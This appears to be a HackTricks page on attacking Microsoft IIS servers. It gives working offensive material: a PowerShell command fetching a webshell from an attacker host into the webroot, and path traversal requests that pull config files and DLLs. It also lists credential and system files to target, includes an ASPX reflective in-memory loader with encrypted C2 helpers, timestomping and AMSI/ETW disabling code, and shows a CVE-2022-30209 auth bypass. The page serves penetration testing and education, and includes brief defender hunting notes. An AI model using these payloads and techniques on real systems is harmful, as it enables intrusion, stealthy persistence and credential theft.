IIS - Internet Information Services

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

测试可执行文件扩展名:

  • asp
  • aspx
  • config
  • php

可写的 webroot → ASPX command shell

如果低权限用户/组对 C:\inetpub\wwwroot 拥有写权限,你可以放置一个 ASPX webshell,并以应用程序池标识执行操作系统命令(通常拥有 SeImpersonatePrivilege)。

  • 验证 ACLs:icacls C:\inetpub\wwwrootcacls .,查看你的用户/组是否有 (F)
  • 使用 PowerShell 上传一个 command webshell(例如 fuzzdb/tennc cmd.aspx):
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • 请求 /shell.aspx 并运行命令;身份通常显示为 iis apppool\defaultapppool
  • 当 AppPool 令牌具有 SeImpersonatePrivilege 时,可将其与 Potato-family LPE(例如 GodPotato/SigmaPotato)结合使用,以 pivot 到 SYSTEM。

内部 IP 地址泄露

在任何返回 302 的 IIS 服务器上,你可以尝试去掉 Host header 并使用 HTTP/1.0,在响应中 Location header 可能会指向内部 IP 地址:

nc -v domain.com 80
openssl s_client -connect domain.com:443

响应泄露内部 IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

执行 .config 文件

你可以上传 .config 文件并用它们来执行代码。 一种方法是将代码追加到文件末尾的 HTML 注释中: Download example here

更多关于利用该漏洞的信息和技术请见此处 here

IIS Discovery Bruteforce

下载我创建的列表:

它是合并以下列表内容后创建的:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

在不添加任何扩展名的情况下使用它,需要扩展名的文件已经包含在列表中。

路径遍历

Leaking source code

查看完整 writeup: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

总结来说,应用程序的文件夹中有多个 web.config 文件,它们引用了 assemblyIdentity 文件和 namespaces。利用这些信息可以知道 可执行文件位于何处 并下载它们。
下载的 Dlls 中也可以找到 新的 namespaces,你应该尝试访问这些位置并获取 web.config 文件,以便发现新的 namespaces 和 assemblyIdentity。
此外,文件 connectionstrings.configglobal.asax 可能包含有趣的信息。

.Net MVC applications 中,web.config 文件起着关键作用,通过 “assemblyIdentity” XML 标签指定应用程序所依赖的每个二进制文件。

探索二进制文件

下面展示了访问 web.config 文件的示例:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

该请求暴露了各种设置和依赖项,例如:

  • EntityFramework 版本
  • AppSettings 用于网页、客户端验证和 JavaScript
  • System.web 用于身份验证和运行时的配置
  • System.webServer 模块设置
  • Runtime 程序集绑定,针对多个库,例如 Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc

这些设置表明某些文件(例如 /bin/WebGrease.dll)位于应用程序的 /bin 文件夹中。

根目录文件

位于根目录的文件,例如 /global.asax/connectionstrings.config(其中包含敏感密码),对于应用程序的配置和运行至关重要。

命名空间 和 Web.Config

MVC 应用程序还会为特定命名空间定义额外的 web.config files,以避免在每个文件中重复声明,正如通过请求下载另一个 web.config 所示:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

下载 DLLs

提到自定义命名空间暗示 /bin 目录存在名为 “WebApplication1” 的 DLL。接着显示了下载 WebApplication1.dll 的请求:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

这表明在 /bin 目录中可能存在其他必要的 DLL,例如 System.Web.Mvc.dllSystem.Web.Optimization.dll

如果某个 DLL 导入了名为 WebApplication1.Areas.Minded 的命名空间,攻击者可能推断出在可预测路径(例如 /area-name/Views/)中存在其他 web.config 文件,这些文件包含特定配置并引用 /bin 文件夹中的其他 DLL。例如,向 /Minded/Views/web.config 发出请求可以揭示配置和命名空间,从而表明存在另一个 DLL,WebApplication1.AdditionalFeatures.dll

Common files

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

这意味着服务器在 Host 头中没有收到正确的域名
为了访问该网页,你可以查看提供的 SSL Certificate,也许可以在其中找到域名/子域名。如果没有,你可能需要 brute force VHosts 直到找到正确的一个。

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Two common patterns to protect secrets on IIS-hosted .NET apps are:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like .
  • ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.

如果你在 web server 上有文件系统或交互式访问权限,共同存放的密钥通常允许解密。

  • ASP.NET (Full Framework) – 使用 aspnet_regiis 解密受保护的配置节:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – 查找存储在本地的 Data Protection key rings(XML/JSON 文件),位置例如:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

关键构建模块

  • ASPX bootstrapper hosting an embedded payload: 一个单独的 .aspx 页面(例如 OutlookEN.aspx)包含 Base64‑encoded、可选的 Gzip‑compressed .NET DLL。在触发请求时它会解码、解压并以反射方式加载到当前 AppDomain 中,并调用主入口(例如 ServerRun.Run())。
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: 任务/结果通过 Gzip → AES‑ECB/PKCS7 → Base64 封装,并通过看似合法的 cookie‑heavy 请求传输;操作员使用稳定分隔符(例如 “STAR”)进行分块。
  • Reflective .NET execution: 接受任意托管程序集的 Base64,使用 Assembly.Load(byte[]) 加载并传入操作员参数,实现无需写盘即可快速替换模块。
  • Operating in precompiled ASP.NET sites: 即使站点已 precompiled,也能添加/管理辅助 shells/backdoors(例如,dropper 添加动态页面/handlers 或利用 config handlers)– 通过诸如 bypassPrecompiledApp、addshell、listshell、removeshell 等命令暴露这些功能。
  • Timestomping/metadata forgery: 暴露 changeLastModified 操作并在部署时 timestomp(包括未来的编译时间戳),以阻碍 DFIR。
  • Optional AMSI/ETW pre‑disable for loaders: 二阶段加载器可在调用 Assembly.Load 之前禁用 AMSI 和 ETW,以减少对内存中 payload 的检测。

最小化 ASPX loader 模式

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

打包/crypto 辅助工具 (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 流程与命令暴露面

  • 会话引导和任务下发通过 cookies 传输,以与正常的 Web 活动混淆。
  • 实际观察到的命令包括:fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 以及用于内存中 .NET 执行的动态执行基元 code_self, code_pid, run_code。

Timestomping 工具

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

在 Assembly.Load 之前内联禁用 AMSI/ETW (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

狩猎笔记(防御者)

  • 单个异常的 ASPX 页面,包含非常长的 Base64/Gzip blobs;大量 cookie 的 POST 请求。
  • w3wp.exe 内未在磁盘上存在文件的托管模块;包含类似 Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run 的字符串。
  • 流量中重复的分隔符如 “STAR”;ASPX/assemblies 上的时间戳不匹配甚至是将来的时间戳。

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

许多 ASP.NET 应用嵌入 Telerik UI for ASP.NET AJAX 并暴露未验证的处理器 Telerik.Web.UI.WebResource.axd。当 Image Editor 缓存端点可访问(type=iec)时,参数 dkey=1 和 prtype 会启用 unsafe reflection,从而在未认证的情况下执行任意公共无参构造函数。这会产生一个通用的 DoS 原语,并且在具有不安全 AppDomain.AssemblyResolve 处理程序的应用上可升级为未认证的 RCE。

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

你可以尝试使用此技术在每个已发现的文件夹内枚举文件夹和文件(即使它需要 Basic Authentication)。如果服务器易受此漏洞影响,该技术的主要限制是它最多只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

A nice idea to find the final name of the discovered files is to ask LLMs for options like it’s done in the script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

你可以尝试将此 vulnerability 与上一个漏洞结合使用,以发现新的 foldersbypass 身份验证。

ASP.NET Trace.AXD enabled debugging

ASP.NET 包含一个调试模式,其文件为 trace.axd

它会保存一段时间内对应用发出的所有请求的非常详细的日志。

该信息包括远程客户端 IP、会话 ID、所有请求和响应 cookies、物理路径、源代码信息,以及可能包含的用户名和密码。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH 使用以下信息:

  • validationKey (string):用于签名验证的十六进制编码密钥。
  • decryptionMethod (string):(默认 “AES”)。
  • decryptionIV (string):十六进制编码的初始化向量(默认全零向量)。
  • decryptionKey (string):用于解密的十六进制编码密钥。

然而,有些人会使用这些参数的默认值,并将 cookie 设置为用户的电子邮件地址。因此,如果你能找到另一个使用相同平台且使用 ASPXAUTH cookie 的网站,并在受攻击的服务器上为你想要冒充的用户创建该电子邮件的用户,你可能能够在第一个服务器使用第二个服务器的 cookie 来冒充该用户。
此攻击在这个 writeup 中有过实际成功的示例。

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: 代码中的一个缺陷没有正确检查用户提供的密码,因此攻击者的密码哈希命中已在缓存中的键时,将能够以该用户身份登录。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks